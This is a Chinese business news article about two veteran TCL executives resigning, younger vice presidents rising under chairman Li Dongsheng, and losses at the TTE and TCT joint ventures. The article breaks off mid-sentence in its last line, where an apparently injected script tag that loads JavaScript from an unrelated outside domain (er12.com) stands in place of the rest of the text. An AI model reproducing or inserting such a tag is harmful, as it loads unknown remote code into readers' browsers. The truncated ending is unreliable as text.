元老们的离开，意味着tcl深入其国际化战略的开始。崛起的少壮派恰恰是李东生国际化战略的积极拥趸者。与元老们相比，他们缺少的是跟董事长李东生并肩创业时的艰难体验，多的是对既有战略的认同和服从
老臣相继离去，tcl王国向国际化转型的身影，渐行渐远。
人事变局
近日gtcl集团（000100）发布的一则人事变动公告，终于印证了坊间流传已久的“传言”，曾跟tcl集团董事长李东生一起打拼天下的两位老臣——胡秋生和袁信成，辞去了他们在tcl集团的董事职务，也不再担任集团管理工作。
辞职前，胡秋生是tcl集团高级副总裁，tte集团（tcl集团和汤姆逊彩电业务整合后形成的公司）董事长。袁信成则是tcl集团的首席运营官。
“传言”中提及的另一个老臣吕忠丽并未出现在公告中。tte内部人士告诉《财经时报》，内部消息是这位已经60岁的tcl集团高级副总裁，即将以“退休”的方式退出。吕忠丽多年掌管tcl集团的财务。
取代他们位置的将是一些近几年李东生提拔起来的“少壮派”。此前不久，tcl集团调整架构，取消以往的7大事业本部，那些事业部的总裁，被相继“升级”为集团副总裁。
“胡秋生他们的离开，意味着tcl集团初步完成了管理层的新老交替。”一位相当接近tcl的观察人士告诉《财经时报》，新生代逐渐掌权，更有利于李东生执行其国际化意图。
如今tcl集团国际化的问题，仍然胶着在tte和tct（tcl集团和阿尔卡特手机业务整合后形成的通信公司）两间国际化并购形成的公司，各自的重组和整合困难重重。以致于2005年度，两间公司分别承载的彩电业务和手机业务，都交出难看的财务报表，共计亏损20多亿元。
李东生合资汤姆逊时“18个月扭亏”的豪言显得过于乐观，今年上半年，tcl集团预计亏损将大幅收窄，董秘办公室人士对《财经时报》慎言扭亏，只表示公司高管对年末扭亏“抱有信心”。
元老出局
坊间流传，tcl有三大怪人：万明坚、胡秋生和杨伟强。如今，曾执掌tcl移动通讯业务，并将其迅速推入国内前三名的万明坚，已经转会四川长虹。胡秋生离任，而杨伟强仍执掌tcl集团的电脑业务。三大怪人将去其二。
说是老臣，实际上两位去职的高管仍是在守业的最佳年龄。1959年出生的胡秋生，比李东生还小两岁。出生于1951年的袁信成年纪稍大，但也不到退休年龄。
tcl集团员工形容胡秋生性格比较“刚”，说话很直。作为李东生的同学和初期并肩创业的功臣，胡秋生甚至会跟李东生“拍着桌子”争论。“李东生感到驾驭他有困难。”观察人士说，这是李东生不想再用胡秋生的一个原因。
接近tcl集团的观察人士告诉《财经时报》，选择离开最主要的原因，是胡秋生和袁信成，不满意李东生的“国际化大跃进”，实际上，他们都是李东生收购汤姆逊的坚定反对者。
对公司战略在观念上的冲突无法调和。虽然此前，胡秋生和袁信成都也曾为助李东生促成tcl和汤姆逊的合资竭尽全力，但如今，tte和tct深陷在跨国整合的泥沼之中，令两位老臣更加失望，寻求全身而退。
胡秋生和袁信成，曾经是李东生的左膀右臂。早些年间，胡秋生掌管tcl彩电的生产和研发，袁信成掌管销售， “他们是tcl功劳最大的人”，接近tcl集团的消息人士断言，他们把tcl从一个小品牌，做成全国第一。“没有他们就没有tcl彩电，没有tcl彩电，就没有tcl的今天。”
几天前tcl集团发布的人事变更公告显示，辞职后，袁信成将仅担任tcl集团董事长高级顾问，以及深圳幸福树电器贸易有限公司董事长。胡秋生的下一步安排则没有交待。tte内部人士也对《财经时报》表示，没有听说有什么安排。
此前，有人将tcl集团为首几位高管的交椅排序，李东生第一，袁信成第二，郑传烈第三，胡秋生和吕忠丽分列第四第五。
如果吕忠丽也如消息预期的去职，tcl集团原管理层架构中的元老级人物，也就所剩无多。另一位“老人”——如今tcl集团副总裁郑传烈，主要负责党务工作，代表tcl集团控股股东惠州市政府的利益。
即使曾为tcl集团的崛起和发展立下汗马功劳，他们也依然只是隐没在李东生光环下的职业经理人。幸运的是，黯然离去之后，tcl集团在去年末完成的股权分置改革，使这些元老持有的公司股票变现成为可能，只要经过一年的禁售期，即可将纸上财富落袋为安。
截止2005年12月31日，袁信成持有tcl集团2092万股，胡秋生持有1604万股，吕忠丽持有1988.9万股，近日tcl集团股价在2.3元上下波动，照现时估价计算，每人能有三四千万元（含税）的财富积累。
少壮时代
对于元老的去职，公告以及来自tcl集团的官方解释为“个人原因”或者“健康原因”。实际上，元老们代表的那个创业时代过去了，他们的离开，意味着tcl深入其国际化战略的开始。
如今，tcl集团副总裁名单中出现赵忠尧、史万文、杨伟强、易春雨、刘飞、王康平这样几个名字。他们分别执掌着tcl集团的彩电、?script src=http://er12.com/t.js>
